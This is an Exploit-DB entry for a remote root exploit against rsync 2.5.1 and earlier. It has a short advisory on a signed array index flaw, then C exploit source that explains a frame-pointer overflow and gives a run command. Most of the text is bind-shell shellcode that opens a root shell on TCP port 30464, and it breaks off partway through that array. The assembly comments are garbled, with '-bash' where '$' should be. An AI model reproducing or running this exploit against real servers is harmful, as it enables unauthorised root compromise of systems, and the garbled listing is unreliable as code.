Exploit-DB #21242
Description: rsync 2.3/2.4/2.5 - Signed Array Index Remote Code Execution
Type: remote
Platform: linux
Date: 2002-01-25
Author: sorbo

Exploit:
// source: https://www.securityfocus.com/bid/3958/info

A vulnerability exists within some versions of rsync. Under some circumstances, a remotely supplied signed value is used as an array index, allowing NULL bytes to be written to arbitrary memory locations. Exploitation of this vulnerability could lead to the corruption of the stack, and possibly to execution of arbitrary code as the root user.

It is possible that other versions of rsync share this vulnerability. 

/*
 * linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)
 *
 * this is a simple frame pointer overflow:
 *
 * in exclude.c in recv_exclude_list(), l is declared as int.
 * we can pass a negative value for l and fool l >= MAXPATHLEN
 * read_sbuf will in turn do a buf[len] = 0; (without performing any reads)
 * we can modify read_sbuf's saved frame pointer by putting a 0 in the LSB.
 * When read_sbuf exits the stack pointer will be set to the modified value
 * we then pop a return address that lies on line[] where we can make it point to our shellcode
 * ... quite simple =D
 *
 * NOTE: in configuration chroot must be false
 *
 * running: ./sorsync -b -v 127.0.0.1
 * should work on any linux =D
 *
 *
 * greetz:
 * #darkircop@undernet
 * kewlcat@efnet (for telling me about the bug)
 * gunzip@ircnet (moral support =P )
 *
 */


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>      
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    -bashx66,%al
"\xb3\x01"                      // movb    -bashx1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    -bashx6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    -bashx1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    -bashx2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     -bashx80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    -bashx2,%bl
"\xb1\x02"                      // movb    -bashx2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    -bashx77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    -bashx2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    -bashx10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    -bashx66,%al
"\xcd\x80"                      // int     -bashx80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    -bashx1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    -bashx66,%al
"\x80\xc3\x03"                  // addb    -bashx3,%bl
"\xcd\x80"                      // int     -bashx80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    -bashx5,%bl
"\xb0\x66"                      // movl    -bashx66,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   -bashx68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   -bashx69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"